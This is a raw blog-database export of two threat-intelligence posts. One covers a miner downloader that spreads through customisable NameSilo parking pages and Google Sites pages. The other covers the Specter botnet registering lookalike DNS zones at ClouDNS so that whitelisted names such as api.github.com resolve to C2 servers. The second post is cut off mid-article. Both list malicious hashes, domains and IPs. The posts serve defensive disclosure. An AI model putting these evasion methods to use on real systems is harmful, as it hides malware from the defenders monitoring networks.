| {"version":"0.3.1","atoms":[],"cards":[["markdown",{"markdown":"### 摘要\n\n近期，我们发现一个GoELF可疑样本，分析得知是一个downloder，主要传播挖矿。有意思的地方在于传播方式，利用了namesilo的Parking页面，以及Google的用户自定义页面来传播样本及配置，从而可以躲避跟踪。\n\n该样本最开始被友商腾讯安全团队捕获，不过传播链条分析中，对namesilo parking域名的分析不太准确。往往大家以为，域名停靠期间(Domain Parking），页面显示内容是被域名停靠供应商强制限定的，域名实际拥有者并不能修改其页面内容。但在这个案例中，域名停靠供应商允许域名拥有者自定义停靠页面。攻击者利用了这一点，再加上Google提供的自定义页面来传播自己的木马。\n\n这样做有两个显而易见的好处：一方面攻击者几乎不需要为恶意代码的传播付出任何带宽和服务器的费用；另一方面攻击者将自己的恶意行为隐藏在大型互联网基础服务供应商的巨大流量中，所谓大隐于市，以此隐藏自己的行踪使得更难被检测和追踪。\n\n在我们的DNSMon/DTA监测数据中显示，这种趋势在最近几月有上升迹象，值得安全社区注意。\n\n\n### 缘起\n\n在10.13号，我们的BotnetMon根据样本网络流量，发现一个可疑的GoELF样本，会请求一个已知的可疑域名``www[.]hellomeyou.cyou``，这个域名在之前腾讯安全团队的一篇[**挖矿木马报告**](https://s.tencent.com/research/report/1219.html)中被披露过。\n\n该样本是一个Miner/Downloader，业界公开的沙箱、引擎或报告已有具体分析，我们不再赘述。但是我们注意到，www.hellomeyou.cyou 历史上的DNS解析一直是 CNAME 到一个parking域名 parking.namesilo.com\n\n```\n2020-11-09 2021-11-07 19904 www.hellomeyou.cyou CNAME parking.namesilo.com\n```\n\nparking的域名一般都是注册但未启用，为何能成为恶意样本传播的一环，这让我们非常好奇。\n\n登陆namesilo的用户服务界面得知，其ParkingPage 是用户可以自己定义内容的，进而给了黑客团伙的利用机会。\n\n\n\n\n我们DNSMon系统中对该网站的多次历史快照显示，页面的title是一个恶意样本链接，页面的description是xmrig配置。\n\n\n\n同时，description中还有对 github 和 google 的链接的利用，进一步分析可知，都是恶意软件传播中的一环。其中，google的自定义页面中包含了一个base64编码的xmrig挖矿软件。\n\n很多文章都曾提到过parking和黑产的关系，但大都是指的一个普遍现象：一个域名被注册后，在没有修改DNS记录将其映射到自己的IP之前，基本都是parking状态，可能会被做一段时间的广告推广，可能会用来做引流，可能会涉及二次买卖，之后DNS记录变化，域名被映射到黑客自己控制的IP上，非parking状态，进而被黑产使用。\n\n<b style=\"color:#911\">当前案例，是利用了“用户可控“的parking页面，在保持parking状态的时候，用于恶意软件推广。黑客不需要有自己的机器和IP，就只用域名注册商提供的parking的页面，以及google的自定义页面，来传播自己的木马。黑客团伙利用这些“公共设施”来组织自己的恶意软件传播链条，以部分的逃避跟踪和拦截。</b>\n\n最开始腾讯文中的分析，猜测“hellomeyou这个网站被攻击后，在网站中嵌入了这些内容。”，应该是不准确的，这是黑客团伙刻意的利用。\n\n### 拓展\n\n通过页面相似性关联分析，我们在历史数据中一共获取了8条类似配置的web记录：\n\n\n\n对应捕获到2个样本\n\n\n\n我们回溯了360Netlab BotnetMon 中，涉及到 parking.namesilo.com 的恶意样本的历史情况，可以看到从6月份开始有了一个明显的突增。这个突增可能意味着该种利用方式、或者parking域名其他的利用方式，被黑客组织用的越来越多。\n\n\n\n\n### 总结\n\nIOC：\n```\n485baeb56cde578cdfe8f88a04e29212\n96dc8dcd5bf8f6e62c3ce5219e556ba3\nf06d38aa4f472a7e557069cc681d997c\nf24dc9c47d3698d94d60a08258bd2337\nf6321c2f3bc22085e39d9f54e2275ece\n\nhideme.cyou\nhellomeyou.cyou\ngannimachoubi.cyou\nhvtde6ew5.top\n\nhttps://sites.google.com/view/dogtoken/Home\nhttps://sites.google.com/view/tabjoy/\n\n```\n\n> 上述的分析过程，融合了PDNS、Web数据、样本以及沙箱等多维度的数据。我们近期推出了DTA产品，从DNS流量数据入手，深入分析客户流量，利用高质量威胁情报以及关联分析、机器学习、行为分析等技术，帮助客户及时定位未知威胁、高级威胁，降低攻击影响面，提升情报生产及安全运营能力。\n"}]],"markups":[],"sections":[[10,0],[1,"p",[]]],"ghostVersion":"3.0"} | 618b41583819e50007635df7 |
post | null | 2021-11-12T02:07:10.000Z | 63873b9a8b1c1e0007f52ff0 | zhatuniubility-malware-uses-namesilo-parking-pages-and-googles-custom-pages-to-spread | 0 | 2021-11-12T13:59:59.000Z | public | published | null | 2021-11-12T14:00:00.000Z | Malware uses namesilo Parking pages and Google's custom pages to spread | <h4 id="abstract">Abstract</h4><p>Recently, we found a suspicious GoELFsample, which is a downloder mainly to spread mining malwares. The interesting part is that we noticed it using namesilo's Parking page and Google's user-defined page to spread the sample and configuration. Apparently this is yet another attempt to hide control channel to avoid being tracked|monitored|blocked from the malicious actor and it probably has served them well. </p><p>The exact sample had been reported by Tencent security team, but the analysis of the propagation is not quite accurate. It is often thought that during the domain parking period (Domain Parking), the content displayed on the page is managed by the domain parking provider, and the actual owner of the domain cannot modify its page content. However, in this case, the domain parking provider allows the domain owner to customize the parking page. The attacker took advantage of this, along with the custom pages provided by Google, to spread his malware.</p><p>This has two obvious benefits: on the one hand, the attacker hardly needs to pay any bandwidth and server costs for the malicious code distribution; on the other hand, as the bots ‘talk’ to the domain parking provider and google, the control traffic totally blends in, making it very difficult to be monitored and blocked.</p><p>From our DNSMon/DTA monitoring data, we see this new trend has shown signs of increase in recent months.</p><h4 id="origins">Origins</h4><!--kg-card-begin: markdown--><p>On 10.13, our BotnetMon IDed a suspicious GoELF sample that would request a known suspicious domain www[.]hellomeyou.cyou, which Tencent had covered in a <a href="https://s.tencent.com/research/report/1219.html">previous mining malware report</a>.</p>
<!--kg-card-end: markdown--><p>There is nothing particularly interesting regarding to the mining part, however, we noted that the DNS resolution of www.hellomeyou.cyou has historically been CNAME to a parking domain parking.namesilo.com</p><!--kg-card-begin: markdown--><pre><code>2020-11-09 2021-11-07 19904 www.hellomeyou.cyou CNAME parking.namesilo.com
</code></pre>
<!--kg-card-end: markdown--><p>The parking domains are usually registered but not activated, how could they be a part of the malicious sample distribution?</p><p>Logging into namesilo's user service interface, we learned that its ParkingPage is user-definable content, which in turn gives hacker groups the opportunity to exploit it.</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2021/11/image--6--1.png" class="kg-image" alt loading="lazy"></figure><p>Multiple historical snapshots of the site in our DNSMon system showed that the title of the page was a malicious sample link, and the description of the page was xmrig configuration.</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2021/11/webinsight-1.PNG" class="kg-image" alt loading="lazy"></figure><p>At the same time, there is also the exploitation of github and google links in the description, which further analysis shows that both are a part of malware distribution channel. Among them, google's custom page contains a base64 encoded xmrig mining software.</p><p>When talk about Parking domain related security issues, many articles out there would refer to some well known problems, mainly Malvertising and abuse related.</p><!--kg-card-begin: markdown--><p><b style="color: #911">In this case, it is different. This particular case uses the “user-customize" parking page directly for its control channel. Hackers do not need to have their own machines and IPs, they just use the parked pages provided by the domain registrar, as well as the custom pages of google(see the following snapshot) to help spreading their malware. By doing this, the malicious actor totally goes under the radar because all the control channel traffic use these totally legit "public facilities”<br>
</b></p>
<!--kg-card-end: markdown--><h4 id="correlation">Correlation </h4><p>Through the page similarity correlation analysis, we see a total of 8 web records with similar configurations in the historical data.</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2021/11/w2-1.PNG" class="kg-image" alt loading="lazy"></figure><p>Corresponding to the capture of 2 samples</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2021/11/s-1.PNG" class="kg-image" alt loading="lazy"></figure><p>We retraced the history of the malicious samples involving parking.namesilo.com in our BotnetMon and could see an upward trend since June this year, looks like this technique might have been working well, we will keep an eye on it. </p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2021/11/n-1.PNG" class="kg-image" alt loading="lazy"></figure><h4 id="ioc">IOC</h4><!--kg-card-begin: markdown--><pre><code>485baeb56cde578cdfe8f88a04e29212
96dc8dcd5bf8f6e62c3ce5219e556ba3
f06d38aa4f472a7e557069cc681d997c
f24dc9c47d3698d94d60a08258bd2337
f6321c2f3bc22085e39d9f54e2275ece
hideme.cyou
hellomeyou.cyou
gannimachoubi.cyou
hvtde6ew5.top
https://sites.google.com/view/dogtoken/Home
https://sites.google.com/view/tabjoy/
</code></pre>
<!--kg-card-end: markdown--> | Abstract
Recently, we found a suspicious GoELFsample, which is a downloder mainly to spread mining malwares. The interesting part is that we noticed it using namesilo's Parking page and Google's user-defined page to spread the sample and configuration. Apparently this is yet another attempt to hide control channel to avoid being tracked|monitored|blocked from the malicious actor and it probably has served them well.
The exact sample had been reported by Tencent security team, but the analysis of the propagation is not quite accurate. It is often thought that during the domain parking period (Domain Parking), the content displayed on the page is managed by the domain parking provider, and the actual owner of the domain cannot modify its page content. However, in this case, the domain parking provider allows the domain owner to customize the parking page. The attacker took advantage of this, along with the custom pages provided by Google, to spread his malware.
This has two obvious benefits: on the one hand, the attacker hardly needs to pay any bandwidth and server costs for the malicious code distribution; on the other hand, as the bots ‘talk’ to the domain parking provider and google, the control traffic totally blends in, making it very difficult to be monitored and blocked.
From our DNSMon/DTA monitoring data, we see this new trend has shown signs of increase in recent months.
Origins
On 10.13, our BotnetMon IDed a suspicious GoELF sample that would request a known suspicious domain www[.]hellomeyou.cyou, which Tencent had covered in a previous mining malware report.
There is nothing particularly interesting regarding to the mining part, however, we noted that the DNS resolution of www.hellomeyou.cyou has historically been CNAME to a parking domain parking.namesilo.com
2020-11-09 2021-11-07 19904 www.hellomeyou.cyou CNAME parking.namesilo.com
The parking domains are usually registered but not activated, how could they be a part of the malicious sample distribution?
Logging into namesilo's user service interface, we learned that its ParkingPage is user-definable content, which in turn gives hacker groups the opportunity to exploit it.
Multiple historical snapshots of the site in our DNSMon system showed that the title of the page was a malicious sample link, and the description of the page was xmrig configuration.
At the same time, there is also the exploitation of github and google links in the description, which further analysis shows that both are a part of malware distribution channel. Among them, google's custom page contains a base64 encoded xmrig mining software.
When talk about Parking domain related security issues, many articles out there would refer to some well known problems, mainly Malvertising and abuse related.
In this case, it is different. This particular case uses the “user-customize" parking page directly for its control channel. Hackers do not need to have their own machines and IPs, they just use the parked pages provided by the domain registrar, as well as the custom pages of google(see the following snapshot) to help spreading their malware. By doing this, the malicious actor totally goes under the radar because all the control channel traffic use these totally legit "public facilities”
Correlation
Through the page similarity correlation analysis, we see a total of 8 web records with similar configurations in the historical data.
Corresponding to the capture of 2 samples
We retraced the history of the malicious samples involving parking.namesilo.com in our BotnetMon and could see an upward trend since June this year, looks like this technique might have been working well, we will keep an eye on it.
IOC
485baeb56cde578cdfe8f88a04e29212
96dc8dcd5bf8f6e62c3ce5219e556ba3
f06d38aa4f472a7e557069cc681d997c
f24dc9c47d3698d94d60a08258bd2337
f6321c2f3bc22085e39d9f54e2275ece
hideme.cyou
hellomeyou.cyou
gannimachoubi.cyou
hvtde6ew5.top
https://sites.google.com/view/dogtoken/Home
https://sites.google.com/view/tabjoy/
| {"version":"0.3.1","atoms":[],"cards":[["markdown",{"markdown":"On 10.13, our BotnetMon IDed a suspicious GoELF sample that would request a known suspicious domain www[.]hellomeyou.cyou, which Tencent had covered in a [previous mining malware report](https://s.tencent.com/research/report/1219.html). "}],["markdown",{"markdown":"```\n2020-11-09 2021-11-07 19904 www.hellomeyou.cyou CNAME parking.namesilo.com\n```"}],["image",{"src":"__GHOST_URL__/content/images/2021/11/image--6--1.png"}],["image",{"src":"__GHOST_URL__/content/images/2021/11/webinsight-1.PNG"}],["markdown",{"markdown":"<b style=\"color: #911\">In this case, it is different. This particular case uses the “user-customize\" parking page directly for its control channel. Hackers do not need to have their own machines and IPs, they just use the parked pages provided by the domain registrar, as well as the custom pages of google(see the following snapshot) to help spreading their malware. By doing this, the malicious actor totally goes under the radar because all the control channel traffic use these totally legit \"public facilities”\n</b>"}],["image",{"src":"__GHOST_URL__/content/images/2021/11/w2-1.PNG"}],["image",{"src":"__GHOST_URL__/content/images/2021/11/s-1.PNG"}],["image",{"src":"__GHOST_URL__/content/images/2021/11/n-1.PNG"}],["markdown",{"markdown":"```\n485baeb56cde578cdfe8f88a04e29212\n96dc8dcd5bf8f6e62c3ce5219e556ba3\nf06d38aa4f472a7e557069cc681d997c\nf24dc9c47d3698d94d60a08258bd2337\nf6321c2f3bc22085e39d9f54e2275ece\n\nhideme.cyou\nhellomeyou.cyou\ngannimachoubi.cyou\nhvtde6ew5.top\n\nhttps://sites.google.com/view/dogtoken/Home\nhttps://sites.google.com/view/tabjoy/\n```"}]],"markups":[],"sections":[[1,"h4",[[0,[],0,"Abstract"]]],[1,"p",[[0,[],0,"Recently, we found a suspicious GoELFsample, which is a downloder mainly to spread mining malwares. The interesting part is that we noticed it using namesilo's Parking page and Google's user-defined page to spread the sample and configuration. Apparently this is yet another attempt to hide control channel to avoid being tracked|monitored|blocked from the malicious actor and it probably has served them well. "]]],[1,"p",[[0,[],0,"The exact sample had been reported by Tencent security team, but the analysis of the propagation is not quite accurate. It is often thought that during the domain parking period (Domain Parking), the content displayed on the page is managed by the domain parking provider, and the actual owner of the domain cannot modify its page content. However, in this case, the domain parking provider allows the domain owner to customize the parking page. The attacker took advantage of this, along with the custom pages provided by Google, to spread his malware."]]],[1,"p",[[0,[],0,"This has two obvious benefits: on the one hand, the attacker hardly needs to pay any bandwidth and server costs for the malicious code distribution; on the other hand, as the bots ‘talk’ to the domain parking provider and google, the control traffic totally blends in, making it very difficult to be monitored and blocked."]]],[1,"p",[[0,[],0,"From our DNSMon/DTA monitoring data, we see this new trend has shown signs of increase in recent months."]]],[1,"h4",[[0,[],0,"Origins"]]],[10,0],[1,"p",[[0,[],0,"There is nothing particularly interesting regarding to the mining part, however, we noted that the DNS resolution of www.hellomeyou.cyou has historically been CNAME to a parking domain parking.namesilo.com"]]],[10,1],[1,"p",[[0,[],0,"The parking domains are usually registered but not activated, how could they be a part of the malicious sample distribution?"]]],[1,"p",[[0,[],0,"Logging into namesilo's user service interface, we learned that its ParkingPage is user-definable content, which in turn gives hacker groups the opportunity to exploit it."]]],[10,2],[1,"p",[[0,[],0,"Multiple historical snapshots of the site in our DNSMon system showed that the title of the page was a malicious sample link, and the description of the page was xmrig configuration."]]],[10,3],[1,"p",[[0,[],0,"At the same time, there is also the exploitation of github and google links in the description, which further analysis shows that both are a part of malware distribution channel. Among them, google's custom page contains a base64 encoded xmrig mining software."]]],[1,"p",[[0,[],0,"When talk about Parking domain related security issues, many articles out there would refer to some well known problems, mainly Malvertising and abuse related."]]],[10,4],[1,"h4",[[0,[],0,"Correlation "]]],[1,"p",[[0,[],0,"Through the page similarity correlation analysis, we see a total of 8 web records with similar configurations in the historical data."]]],[10,5],[1,"p",[[0,[],0,"Corresponding to the capture of 2 samples"]]],[10,6],[1,"p",[[0,[],0,"We retraced the history of the malicious samples involving parking.namesilo.com in our BotnetMon and could see an upward trend since June this year, looks like this technique might have been working well, we will keep an eye on it. "]]],[10,7],[1,"h4",[[0,[],0,"IOC"]]],[10,8],[1,"p",[]]],"ghostVersion":"3.0"} | 618dcc4e3819e50007635e9b |
post | null | 2021-11-15T08:49:34.000Z | 63873b9a8b1c1e0007f52ff1 | specter-domain-whitelist-abuse | 0 | 2021-11-18T03:49:10.000Z | public | published | null | 2021-11-18T03:07:22.000Z | 白名单之殇：Specter僵尸网络滥用ClouDNS服务，github.com无辜躺枪 | <!--kg-card-begin: markdown--><h3 id="">摘要</h3>
<p>威胁情报的应用，始终存在着“漏报”和“误报”的平衡，为了减少可能的误报带来的业务影响，你的威胁情报白名单中是否静静的躺着 www.apple.com、www.qq.com、www.alipay.com 这样的流行互联网业务域名呢？你的机器学习检测模型，依照历史流量，是否会自动对 <em>.qq.com、</em>.alipay.com 这样的流量行为增加白权重呢？</p>
<p>但安全是对抗，白帽子想“判黑”，黑客想“洗白”。我们看到的白，不一定是真的白，可能只是黑客想让我们以为的白。</p>
<p>我们BotnetMon最近的跟踪发现，Specter僵尸网络家族的样本，会使用<code>api.github.com</code>这种域名作为CC域名来通信，通过“可定制化”的DNS服务，将“白域名”引导到黑IP上来实现自己恶意指令通信。</p>
<p>这种“过白”手法，在流量检测的场景下，让传统的IOC情报失陷判断与拦截方法失效，因为CC是绝对的白域名。从监测到阻拦，都对我们安全防守方提出了新挑战。</p>
<!--kg-card-end: markdown--><!--kg-card-begin: markdown--><h3 id="">缘起</h3>
<p>早在去年9月份，我们首次披露了<a href="__GHOST_URL__/ghost-in-action-the-specter-botnet/"><strong>Specter僵尸网络(2020年9月)</strong></a>。该僵尸网络是一个针对 Linux 平台的远程控制木马（RAT），配置灵活，高度模块化/插件化，由Dropper，Loader，Plugin三大部分组成，主要功能由Loader&Plugin决定，自从我们披露后一直活跃至今。</p>
<p>今年9月份，我们BotnetMon的CC自动抽取系统提醒我们，Specter的样本有更新，且自动提取的CC是<code>api.github.com:80</code>。</p>
<p>众所周知github.com是全球公开的开源代码托管网站，之前很多恶意软件都有对github.com的使用，不过只是将其当成下载站，通过github.com来承载自己的恶意程序所需的代码/中间件，通过http下载使用。</p>
<p>但是直接请求到<code>api.github.com:80</code>为何能完成CC通信呢？是github被黑了，还是Specter僵尸网络的运营者出错了，亦或是我们自己CC自动抽取的bug？我们带着好奇开始了调查。</p>
<p>我们以样本(md5:2aec3f06abd677f5f129ddb55d2cde67)为切入点，经过分析，发现Specter的这次更新主要集中在C2配置文件的结构上，在之前的版本中可以通过"SpectCF"字串来定位配置文件，而新版本中则剔除了此标志。此样本的C2配置文件解密后如下所示，可以看出绿色部分正是上文所说的C2:<code>api.github.com:80</code>。</p>
<img src="__GHOST_URL__/content/images/2021/11/specter_newc2.png" width="860px" />
<p>而红色部分的数据则是这次更新多出来的结构，它又是什么呢？以小端格式解析后，发现它们是如下4个IP地址，隶属于DNS Hosting服务商<a href="https://www.cloudns.net/"><strong>ClouDNS</strong></a>。</p>
<pre><code>85.159.233.158
108.59.1.30
217.182.183.225
185.206.180.169
</code></pre>
<p>Specter新样本是通过以下代码片段对C2进行dns请求，它的逻辑为构造dns请求数据包，然后发往上文所述的DNS IP，最终得到真正的C2地址。<br>
<img src="__GHOST_URL__/content/images/2021/11/specter_dns.png" width="860px" /><br>
读者可以自行使用下面的dig命令，通过对比它们的输出结果，可以很清晰的看出这其中的区别。</p>
<pre><code>dig api.github.com @8.8.8.8
dig api.github.com @85.159.233.158
</code></pre>
<p>至此迷雾褪去，Specter所使用的CC <code>api.github.com</code> 实际为在DNS Hosting服务商ClouDNS注册的ZONE <code>github.com</code> 下面的子域名，其中<code>api</code>为其子域名。这种域名的解析必须使用 ClouDNS 提供的解析服务器才能获取到特定的解析结果。</p>
<p>github没有被黑，Specter僵尸网络的运营者也没有出错，我们的CC自动提取也没有bug，而api.github.com这个白域名也确确实实的成为了CC域名。这种使用看起来正常白域名的行为的迷惑性非常强，很容易欺骗恶意软件分析人员，对基于黑白名单规则判定的安全工具也是一种巨大的挑战。</p>
<!--kg-card-end: markdown--><!--kg-card-begin: markdown--><h3 id="cloudnsdnszone">ClouDNS可随意注册DNS Zone</h3>
<p>鉴于上述利用过程，ClouDNS是核心的一个环节，我们对其进行了详细的探查。</p>
<p><a href="https://www.cloudns.net/about-us/">ClouDNS</a>是位于欧洲的全球托管DNS服务提供商，提供包括GeoDNS，Anycast DNS和DNS DDoS防护等服务。</p>
<p>ClouDNS允许随意注册DNS ZONE并添加子域名解析。我们注册了一个名为<code>nsa.gov</code>的DNS Zone，添加了一个子级域名<code>test</code>并解析到<code>16.16.16.16</code>，ClouDNS给我们分配了4个Name Server用来解析这个域名，如下图所示：<br>
<img src="__GHOST_URL__/content/images/2021/11/Snip20211116_4.png" alt="Snip20211116_4" loading="lazy"></p>
<p>创建成功后，便可使用平台分配的Name Server来解析我们创建的域名：<br>
<img src="__GHOST_URL__/content/images/2021/11/Snip20211116_5.png" alt="Snip20211116_5" loading="lazy"></p>
<p>理论上，我们可以在ClouDNS上注册任何没有被注册或者没有被ClouDNS限制注册的Zone。前文提到的Specter C2 <code>api.github.com</code>正是以这种方式产生出来的的域名。</p>
<p>不仅如此，ClouDNS在对“是否已经注册”的判定上也有“谜之逻辑”。前面说到 github.com 在ClouDNS上已经被Specter团伙注册使用，但是当我们尝试重新注册 github.com 这个Zone的时候，竟然也能成功，只是使用了和Specter团伙不同的一批NS。如图：<br>
<img src="__GHOST_URL__/content/images/2021/11/ClouDNS.github-1.png" alt="ClouDNS.github-1" loading="lazy"></p>
<p>也既，ClouDNS支持将同一个zone根据不同的NS Server做不同的绑定。我们可以将任意一个白域名注册在不同的NS server上，然后为它绑定不同的IP。</p>
<p>以这种方式创建出来的域名和现有DNS体系完全混淆，如同平行宇宙一般，有着同样的名字的人但是过着截然不同的生活，同样的域名在不同的DNS体系下有着截然不同的功用。如果两个世界一直平行也无妨，但是黑暗世界的“福尔摩斯”来到人间作案，他的相貌可能会让他畅通无阻。目前我们已经看到的Specter利用这种方式创建出来的域名还有<code>www.ibm.com</code>，正常世界的www.ibm[.]com 仍然是一个白域名，而平行世界的它正在被恶意团伙利用。</p>
<blockquote>
<p>其实不只是ClouDNS，很多DNS托管服务商，在对托管域名的校验上，都存在类似的“漏洞”，这是另外一个宏大的话题，在此暂不展开。</p>
</blockquote>
<!--kg-card-end: markdown--><!--kg-card-begin: markdown--><h3 id="cloudnszone">对ClouDNS随意注册ZONE的探测</h3>
<p>基于我们的Passive DNS数据，我们挑选了全网流行的TOP 1M二级域名进行探测。想探知有多少现有DNS系统里的域名的SLD有多少被在ClouDNS注册为新的Zone以及有多少可能被恶意注册。</p>
<p>探测结果显示其中大约有<code>1263</code>个二级域名在ClouDNS支持解析。考虑到ClouDNS本身也是合法的正规业务，只是业务存在被滥用的可能性，我们对支持解析的二级域名进行了过滤，过滤了明确非恶意注册的二级域后发现有超过<code>300</code>个二级域是恶意注册。部分在ClouDNS被恶意注册SLD如下：</p>
<pre><code>akadns.net
onedrive.com
plivo.com
safe.com
consalud.cl
godaddysites.com
shopee.com
jsdelivr.net
afraid.org
rumahweb.com
mydomain.com
crypto.com
eq.edu.au
adnxs.com
webcindario.com
web.com
lamborghini.com
manager-magazin.de
toto.com
migalhas.com.br
googleadservices.com
example.com
dlink.com
whitehouse.gov
domain.com
googlesyndication.com
fb.com
payeer.com
ya.ru
mql5.com
aaa.com
hola.com
wukong.com
mihanblog.com
wpengine.com
jumia.ma
protonmail.com
tasnimnews.com
nintendo.com
tabnak.ir
lichess.org
digitalocean.com
asriran.com
amazon.com.br
akamaized.net
yjc.ir
office.net
4399.com
opera.com
wp.com
ytimg.com
avast.com
cloudflare.com
playstation.com
hespress.com
leagueoflegends.com
wixsite.com
skype.com
googlevideo.com
wp.pl
wix.com
samsung.com
doubleclick.net
weebly.com
udemy.com
speedtest.net
godaddy.com
zoom.us
espn.com
spotify.com
amazonaws.com
adobe.com
wordpress.com
apple.com
msn.com
github.com
office.com
alipay.com
netflix.com
360.cn
amazon.com
qq.com
</code></pre>
<p>另外我们还挑选了全网流行的TOP 1M的FQDN进行探测，探测结果显示有超过<code>300</code>个FQDN可以在ClouDNS产生非正常解析，过滤掉可能是正常业务和噪音数据后发现，至少有<code>192</code>个FQDN是恶意注册。</p>
<!--kg-card-end: markdown--><!--kg-card-begin: markdown--><h3 id="">总结</h3>
<p>我们大网探测结果显示，当前在我们的视野范围内还没有太多的恶意样本使用这种方式实现攻击。但这对我们来说是一个重要的预警，特殊的业务逻辑，导致表面正常网络行为的掩盖下，极有可能正在进行着恶意行为。这种方式并不需要任何额外的成本，就可以轻松实现 DNS 欺骗，进而实现对恶意行为的掩藏。</p>
<p>从阻拦的角度来说，ClouDNS的操作，已经让一个域名无法“自证清白”，常规的基于 IOC 匹配的安全检测行为完全失效。我们不可能将 github.com 加入到 IOC 列表中作为威胁情报输出到产品端。基于我们的搜索结果显示，以类似方式提供 DNS 托管的服务提供商还有很多，我们后续将新写一篇度量此类DNS的文章。同时考虑到这些服务提供商还提供着正常的业务，我们也无法将这些服务提供商的服务地址作为威胁情报输出到产品端。</p>
<p>当然，各安全业务方如果确定ClouDNS对自己生产系统没有影响，可以直接阻拦掉ClouDNS的所有NS IP的流量。仔细考虑ClouDNS如此粗暴的实现逻辑，这种阻拦方式可能也没有听起来那么粗暴，我们认为企业应该在自己的防护边界把这种未经许可的DNS访问都阻拦掉。</p>
<p>从域名解析商的角度，在用户添加ZONE的时候，应该采取必要的验证手段确保添加者是域名的合法持有人，我们可以看到好的提供商，比如国内的提供商<a href="https://www.dnspod.cn/">DNSPOD</a>需要验证通过后才支持解析。</p>
<p>从检测的角度来说，除了从样本角度出发的发现跟踪，在流量侧，需要有两个基础能力的支撑：</p>
<ul>
<li>识别并监测非标准DNS server的能力</li>
<li>配合历史白数据，做异常DNS流量判定的能力</li>
</ul>
<p>近期我们发布了 <a href="https://b.360.cn/product-center/360-dns-safe/dnssafe">360 DTA </a>产品，该产品从 DNS 流量入手，结合我们运营多年的 PDNS 数据、botnet数据，以及多维度数据关联分析等技术可以轻松检测到这种可能是恶意的 DNS 欺骗行为并给予正确的告警，帮助客户及时定位未知威胁、高级威胁，降低攻击影响面，提升情报生产及安全运营能力。</p>
<!--kg-card-end: markdown--><!--kg-card-begin: markdown--><h3 id="ioc">IOC</h3>
<h4 id="samplemd5">Sample MD5</h4>
<pre><code>0ffa01708fd0c67c78e9055b8839d24d
162c245378b2e21bdab6ef35dfaad6b1
2aec3f06abd677f5f129ddb55d2cde67
</code></pre>
<h4 id="cc">CC</h4>
<pre><code>45.141.70.5
www.ibm.com @pns101.cloudns.net
api.github.com @ns103.cloudns.net
</code></pre>
<!--kg-card-end: markdown--> | 摘要
威胁情报的应用，始终存在着“漏报”和“误报”的平衡，为了减少可能的误报带来的业务影响，你的威胁情报白名单中是否静静的躺着 www.apple.com、www.qq.com、www.alipay.com 这样的流行互联网业务域名呢？你的机器学习检测模型，依照历史流量，是否会自动对 .qq.com、.alipay.com 这样的流量行为增加白权重呢？
但安全是对抗，白帽子想“判黑”，黑客想“洗白”。我们看到的白，不一定是真的白，可能只是黑客想让我们以为的白。
我们BotnetMon最近的跟踪发现，Specter僵尸网络家族的样本，会使用api.github.com这种域名作为CC域名来通信，通过“可定制化”的DNS服务，将“白域名”引导到黑IP上来实现自己恶意指令通信。
这种“过白”手法，在流量检测的场景下，让传统的IOC情报失陷判断与拦截方法失效，因为CC是绝对的白域名。从监测到阻拦，都对我们安全防守方提出了新挑战。
缘起
早在去年9月份，我们首次披露了Specter僵尸网络(2020年9月)。该僵尸网络是一个针对 Linux 平台的远程控制木马（RAT），配置灵活，高度模块化/插件化，由Dropper，Loader，Plugin三大部分组成，主要功能由Loader&Plugin决定，自从我们披露后一直活跃至今。
今年9月份，我们BotnetMon的CC自动抽取系统提醒我们，Specter的样本有更新，且自动提取的CC是api.github.com:80。
众所周知github.com是全球公开的开源代码托管网站，之前很多恶意软件都有对github.com的使用，不过只是将其当成下载站，通过github.com来承载自己的恶意程序所需的代码/中间件，通过http下载使用。
但是直接请求到api.github.com:80为何能完成CC通信呢？是github被黑了，还是Specter僵尸网络的运营者出错了，亦或是我们自己CC自动抽取的bug？我们带着好奇开始了调查。
我们以样本(md5:2aec3f06abd677f5f129ddb55d2cde67)为切入点，经过分析，发现Specter的这次更新主要集中在C2配置文件的结构上，在之前的版本中可以通过"SpectCF"字串来定位配置文件，而新版本中则剔除了此标志。此样本的C2配置文件解密后如下所示，可以看出绿色部分正是上文所说的C2:api.github.com:80。
而红色部分的数据则是这次更新多出来的结构，它又是什么呢？以小端格式解析后，发现它们是如下4个IP地址，隶属于DNS Hosting服务商ClouDNS。
85.159.233.158
108.59.1.30
217.182.183.225
185.206.180.169
Specter新样本是通过以下代码片段对C2进行dns请求，它的逻辑为构造dns请求数据包，然后发往上文所述的DNS IP，最终得到真正的C2地址。
读者可以自行使用下面的dig命令，通过对比它们的输出结果，可以很清晰的看出这其中的区别。
dig api.github.com @8.8.8.8
dig api.github.com @85.159.233.158
至此迷雾褪去，Specter所使用的CC api.github.com 实际为在DNS Hosting服务商ClouDNS注册的ZONE github.com 下面的子域名，其中api为其子域名。这种域名的解析必须使用 ClouDNS 提供的解析服务器才能获取到特定的解析结果。
github没有被黑，Specter僵尸网络的运营者也没有出错，我们的CC自动提取也没有bug，而api.github.com这个白域名也确确实实的成为了CC域名。这种使用看起来正常白域名的行为的迷惑性非常强，很容易欺骗恶意软件分析人员，对基于黑白名单规则判定的安全工具也是一种巨大的挑战。
ClouDNS可随意注册DNS Zone
鉴于上述利用过程，ClouDNS是核心的一个环节，我们对其进行了详细的探查。
ClouDNS是位于欧洲的全球托管DNS服务提供商，提供包括GeoDNS，Anycast DNS和DNS DDoS防护等服务。
ClouDNS允许随意注册DNS ZONE并添加子域名解析。我们注册了一个名为nsa.gov的DNS Zone，添加了一个子级域名test并解析到16.16.16.16，ClouDNS给我们分配了4个Name Server用来解析这个域名，如下图所示：
创建成功后，便可使用平台分配的Name Server来解析我们创建的域名：
理论上，我们可以在ClouDNS上注册任何没有被注册或者没有被ClouDNS限制注册的Zone。前文提到的Specter C2 api.github.com正是以这种方式产生出来的的域名。
不仅如此，ClouDNS在对“是否已经注册”的判定上也有“谜之逻辑”。前面说到 github.com 在ClouDNS上已经被Specter团伙注册使用，但是当我们尝试重新注册 github.com 这个Zone的时候，竟然也能成功，只是使用了和Specter团伙不同的一批NS。如图：
也既，ClouDNS支持将同一个zone根据不同的NS Server做不同的绑定。我们可以将任意一个白域名注册在不同的NS server上，然后为它绑定不同的IP。
